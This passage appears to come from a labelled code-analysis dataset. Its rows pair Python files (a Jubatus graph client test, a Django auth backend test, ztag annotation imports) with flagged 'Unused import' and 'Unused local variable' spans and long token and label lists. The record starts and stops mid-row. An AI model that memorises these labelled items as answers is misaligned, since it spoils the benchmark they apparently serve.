" ",
"need",
"s",
" ",
"to",
" ",
"be",
" ",
"the",
" ",
"outer",
" ",
"decorat",
"or",
",",
" ",
"bec",
"aus",
"e_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"other",
"wis",
"e",
" ",
"we",
" ",
"mig",
"ht",
" ",
"access",
" ",
"and",
" ",
"thu",
"s",
" ",
"cache",
" ",
"a",
" ",
"value",
" ",
"for_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"request",
".",
"REQUEST",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"target",
"\\u",
"function_",
"=_",
"process",
"\\u",
"as",
"\\u",
"post_",
"(_",
"target",
"\\u",
"function_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"target",
"\\u",
"function_",
"(_",
"request_",
",_",
"**_",
"kwargs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"json",
"\\u",
"method",
"\\u",
"not",
"\\u",
"allowed_",
"(_",
"list_",
"(_",
"support",
"ed",
"\\u",
"methods_",
"._",
"keys_",
"(_",
")_",
")_",
")_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | jubatus/jubatus-python-client/test/jubatus_test/graph/test.py | [
{
"content": "#!/usr/bin/env python\n\nimport unittest\nimport json\nimport msgpackrpc\n\nfrom jubatus.graph.client import Graph\nfrom jubatus.graph.types import *\nfrom jubatus.common import Datum\n\nfrom jubatus_test.test_util import TestUtil\n\nhost = \"127.0.0.1\"\nport = 21005\ntimeout = 10\n\n\nif __name__ == '__main__':\n test_suite = unittest.TestLoader().loadTestsFromTestCase(GraphTest)\n unittest.TextTestRunner().run(test_suite)\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class GraphTest(unittest.TestCase):\n\n\n\n\n\n\n\n",
"metadata": "root.GraphTest",
"header": "['module', '___EOS___']",
"index": 16
},
{
"content": " def setUp(self):\n self.config = {\n \"method\": \"graph_wo_index\",\n \"parameter\": {\n \"damping_factor\": 0.9,\n \"landmark_num\": 5\n }\n }\n\n TestUtil.write_file('config_graph.json', json.dumps(self.config))\n self.srv = TestUtil.fork_process('graph', port, 'config_graph.json')\n try:\n self.cli = Graph(host, port, \"name\")\n except:\n TestUtil.kill_process(self.srv)\n raise",
"metadata": "root.GraphTest.setUp",
"header": "['class', 'GraphTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 17
},
{
"content": " def tearDown(self):\n if self.cli:\n self.cli.get_client().close()\n TestUtil.kill_process(self.srv)",
"metadata": "root.GraphTest.tearDown",
"header": "['class', 'GraphTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 34
},
{
"content": " def test_node_info(self):\n edge_query = [[\"a\", \"b\"], [\"c\", \"d\"], [\"e\", \"f\"]]\n node_query = [[\"0\", \"1\"], [\"2\", \"3\"]]\n p = PresetQuery(edge_query, node_query)\n in_edges = [0, 0]\n out_edges = [0, 0]\n Node(p, in_edges, out_edges)",
"metadata": "root.GraphTest.test_node_info",
"header": "['class', 'GraphTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 39
},
{
"content": " def test_get_client(self):\n self.assertTrue(isinstance(self.cli.get_client(), msgpackrpc.client.Client))",
"metadata": "root.GraphTest.test_get_client",
"header": "['class', 'GraphTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 47
},
{
"content": " def test_create_node(self):\n nid = self.cli.create_node()\n self.assertEqual(str(int(nid)), nid)",
"metadata": "root.GraphTest.test_create_node",
"header": "['class', 'GraphTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 50
},
{
"content": " def test_remove_node(self):\n nid = self.cli.create_node()\n self.assertEqual(self.cli.remove_node(nid), True)",
"metadata": "root.GraphTest.test_remove_node",
"header": "['class', 'GraphTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 54
},
{
"content": " def test_update_node(self):\n nid = self.cli.create_node()\n prop = {\"key1\":\"val1\", \"key2\":\"val2\"}\n self.assertEqual(self.cli.update_node(nid, prop), True)",
"metadata": "root.GraphTest.test_update_node",
"header": "['class', 'GraphTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 58
},
{
"content": " def test_create_edge(self):\n src = self.cli.create_node()\n tgt = self.cli.create_node()\n prop = {\"key1\":\"val1\", \"key2\":\"val2\"}\n ei = Edge(prop, src, tgt)\n eid = self.cli.create_edge(tgt, ei)",
"metadata": "root.GraphTest.test_create_edge",
"header": "['class', 'GraphTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 63
},
{
"content": " def test_str(self):\n self.assertEqual(\"node{property: {}, in_edges: [], out_edges: []}\",\n str(Node({}, [], [])))\n self.assertEqual(\"preset_query{edge_query: [], node_query: []}\",\n str(PresetQuery([], [])))\n self.assertEqual(\"edge{property: {}, source: src, target: tgt}\",\n str(Edge({}, 'src', 'tgt')))\n self.assertEqual(\"shortest_path_query{source: src, target: tgt, max_hop: 10, query: preset_query{edge_query: [], node_query: []}}\",\n str(ShortestPathQuery('src', 'tgt', 10, PresetQuery([], []))))",
"metadata": "root.GraphTest.test_str",
"header": "['class', 'GraphTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 70
}
]
| [
{
"span": "from jubatus.common import Datum",
"start_line": 8,
"start_column": 0,
"end_line": 8,
"end_column": 32
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#!",
"/",
"usr",
"/",
"bin",
"/",
"env",
" ",
"python_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"unittest_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"json_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"msgpack",
"rpc_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"ju",
"bat",
"us_",
"._",
"graph_",
"._",
"client_",
"import_",
"Graph_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"ju",
"bat",
"us_",
"._",
"graph_",
"._",
"types_",
"import_",
"*_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"ju",
"bat",
"us_",
"._",
"common_",
"import_",
"Datum_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"ju",
"bat",
"us",
"\\u",
"test_",
"._",
"test\\u",
"util_",
"import_",
"Test",
"Util_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"host_",
"=_",
"\"",
"127",
".0",
".0",
".1",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"port_",
"=_",
"2100",
"5_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"timeout_",
"=_",
"10_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"\\u\\u",
"name\\u\\u_",
"==_",
"'\\u",
"\\u",
"main",
"\\u\\u'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"test\\u",
"suite_",
"=_",
"unittest_",
"._",
"Test",
"Loader_",
"(_",
")_",
"._",
"load",
"Test",
"s",
"Fro",
"m",
"Test",
"Case_",
"(_",
"Graph",
"Test_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"unittest_",
"._",
"Text",
"Test",
"Runner_",
"(_",
")_",
"._",
"run_",
"(_",
"test\\u",
"suite_",
")_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Graph",
"Test_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Graph",
"Test_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"set",
"Up_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"config_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"method",
"\"_",
":_",
"\"",
"graph",
"\\u",
"wo",
"\\u",
"index",
"\"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"parameter",
"\"_",
":_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"damping",
"\\u",
"factor",
"\"_",
":_",
"0.9_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"landmark",
"\\u",
"num",
"\"_",
":_",
"5_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"Test",
"Util_",
"._",
"write",
"\\u",
"file_",
"(_",
"'",
"config",
"\\u",
"graph",
".",
"json",
"'_",
",_",
"json_",
"._",
"dumps_",
"(_",
"self_",
"._",
"config_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"srv_",
"=_",
"Test",
"Util_",
"._",
"fork",
"\\u",
"process_",
"(_",
"'",
"graph",
"'_",
",_",
"port_",
",_",
"'",
"config",
"\\u",
"graph",
".",
"json",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"cli_",
"=_",
"Graph_",
"(_",
"host_",
",_",
"port_",
",_",
"\"",
"name",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"Test",
"Util_",
"._",
"kill",
"\\u",
"process_",
"(_",
"self_",
"._",
"srv_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"raise_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Graph",
"Test_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"tear",
"Down_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"cli_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"cli_",
"._",
"get",
"\\u",
"client_",
"(_",
")_",
"._",
"close_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"Test",
"Util_",
"._",
"kill",
"\\u",
"process_",
"(_",
"self_",
"._",
"srv_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Graph",
"Test_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"node",
"\\u",
"info_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"edge",
"\\u",
"query_",
"=_",
"[_",
"[_",
"\"",
"a",
"\"_",
",_",
"\"",
"b",
"\"_",
"]_",
",_",
"[_",
"\"",
"c",
"\"_",
",_",
"\"",
"d",
"\"_",
"]_",
",_",
"[_",
"\"",
"e",
"\"_",
",_",
"\"",
"f",
"\"_",
"]_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"node",
"\\u",
"query_",
"=_",
"[_",
"[_",
"\"",
"0",
"\"_",
",_",
"\"",
"1",
"\"_",
"]_",
",_",
"[_",
"\"",
"2",
"\"_",
",_",
"\"",
"3",
"\"_",
"]_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"p_",
"=_",
"Preset",
"Query_",
"(_",
"edge",
"\\u",
"query_",
",_",
"node",
"\\u",
"query_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"in",
"\\u",
"edges_",
"=_",
"[_",
"0_",
",_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"out",
"\\u",
"edges_",
"=_",
"[_",
"0_",
",_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"Node_",
"(_",
"p_",
",_",
"in",
"\\u",
"edges_",
",_",
"out",
"\\u",
"edges_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Graph",
"Test_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"get",
"\\u",
"client_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"assert",
"True_",
"(_",
"isinstance_",
"(_",
"self_",
"._",
"cli_",
"._",
"get",
"\\u",
"client_",
"(_",
")_",
",_",
"msgpack",
"rpc_",
"._",
"client_",
"._",
"Client_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Graph",
"Test_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"create",
"\\u",
"node_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"nid_",
"=_",
"self_",
"._",
"cli_",
"._",
"create",
"\\u",
"node_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"str_",
"(_",
"int_",
"(_",
"nid_",
")_",
")_",
",_",
"nid_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Graph",
"Test_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"remove",
"\\u",
"node_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"nid_",
"=_",
"self_",
"._",
"cli_",
"._",
"create",
"\\u",
"node_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"self_",
"._",
"cli_",
"._",
"remove",
"\\u",
"node_",
"(_",
"nid_",
")_",
",_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Graph",
"Test_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"update",
"\\u",
"node_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"nid_",
"=_",
"self_",
"._",
"cli_",
"._",
"create",
"\\u",
"node_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"prop_",
"=_",
"{_",
"\"",
"key",
"1",
"\"_",
":_",
"\"",
"val",
"1",
"\"_",
",_",
"\"",
"key",
"2",
"\"_",
":_",
"\"",
"val",
"2",
"\"_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"self_",
"._",
"cli_",
"._",
"update",
"\\u",
"node_",
"(_",
"nid_",
",_",
"prop_",
")_",
",_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Graph",
"Test_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"create",
"\\u",
"edge_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"src_",
"=_",
"self_",
"._",
"cli_",
"._",
"create",
"\\u",
"node_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"tgt_",
"=_",
"self_",
"._",
"cli_",
"._",
"create",
"\\u",
"node_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"prop_",
"=_",
"{_",
"\"",
"key",
"1",
"\"_",
":_",
"\"",
"val",
"1",
"\"_",
",_",
"\"",
"key",
"2",
"\"_",
":_",
"\"",
"val",
"2",
"\"_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ei_",
"=_",
"Edge_",
"(_",
"prop_",
",_",
"src_",
",_",
"tgt_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"eid_",
"=_",
"self_",
"._",
"cli_",
"._",
"create",
"\\u",
"edge_",
"(_",
"tgt_",
",_",
"ei_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Graph",
"Test_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"str_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"assert",
"Equal_",
"(_",
"\"",
"node",
"{",
"property",
":",
" ",
"{}",
",",
" ",
"in",
"\\u",
"edge",
"s",
":",
" ",
"[]",
",",
" ",
"out",
"\\u",
"edge",
"s",
":",
" ",
"[]",
"}\"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"str_",
"(_",
"Node_",
"(_",
"{_",
"}_",
",_",
"[_",
"]_",
",_",
"[_",
"]_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"\"",
"prese",
"t",
"\\u",
"query",
"{",
"edge",
"\\u",
"query",
":",
" ",
"[]",
",",
" ",
"node",
"\\u",
"query",
":",
" ",
"[]",
"}\"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"str_",
"(_",
"Preset",
"Query_",
"(_",
"[_",
"]_",
",_",
"[_",
"]_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"\"",
"edge",
"{",
"property",
":",
" ",
"{}",
",",
" ",
"source",
":",
" ",
"src",
",",
" ",
"target",
":",
" ",
"tgt",
"}\"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"str_",
"(_",
"Edge_",
"(_",
"{_",
"}_",
",_",
"'",
"src",
"'_",
",_",
"'",
"tgt",
"'_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"\"",
"short",
"est",
"\\u",
"path",
"\\u",
"query",
"{",
"source",
":",
" ",
"src",
",",
" ",
"target",
":",
" ",
"tgt",
",",
" ",
"max",
"\\u",
"hop",
":",
" ",
"10",
",",
" ",
"query",
":",
" ",
"prese",
"t",
"\\u",
"query",
"{",
"edge",
"\\u",
"query",
":",
" ",
"[]",
",",
" ",
"node",
"\\u",
"query",
":",
" ",
"[]",
"}}\"_",
",_",
"\\u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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused local variable | adieu/django-nonrel/django/contrib/auth/tests/auth_backends.py | [
{
"content": " def test_get_group_permissions(self):\n content_type=ContentType.objects.get_for_model(Group)\n group = Group.objects.create(name='test_group')\n self.user3.groups.add(group)\n self.assertEqual(self.user3.get_group_permissions(TestObj()), set(['group_perm']))",
"metadata": "root.RowlevelBackendTest.test_get_group_permissions",
"header": "['class', 'RowlevelBackendTest', '(', 'TestCase', ')', ':', '___EOS___']",
"index": 204
}
]
| [
{
"span": "content_type=",
"start_line": 205,
"start_column": 8,
"end_line": 205,
"end_column": 20
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"class_",
"Row",
"level",
"Back",
"end",
"Test_",
"(_",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"get",
"\\u",
"group",
"\\u",
"permissions_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"content",
"\\u",
"type_",
"=_",
"Conten",
"t",
"Type_",
"._",
"objects_",
"._",
"get",
"\\u",
"for",
"\\u",
"model_",
"(_",
"Group_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"group_",
"=_",
"Group_",
"._",
"objects_",
"._",
"create_",
"(_",
"name_",
"=_",
"'",
"test\\u",
"group",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"user3",
"_",
"._",
"groups_",
"._",
"add_",
"(_",
"group_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"self_",
"._",
"user3",
"_",
"._",
"get",
"\\u",
"group",
"\\u",
"permissions_",
"(_",
"Test",
"Obj_",
"(_",
")_",
")_",
",_",
"set_",
"(_",
"[_",
"'",
"group",
"\\u",
"perm",
"'_",
"]_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | zmap/ztag/ztag/annotations/FtpWesternDigital.py | [
{
"content": "import re\nfrom ztag.annotation import Annotation\nfrom ztag.annotation import OperatingSystem\nfrom ztag.annotation import Type\nfrom ztag.annotation import Manufacturer\nfrom ztag import protocols\nimport ztag.test\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
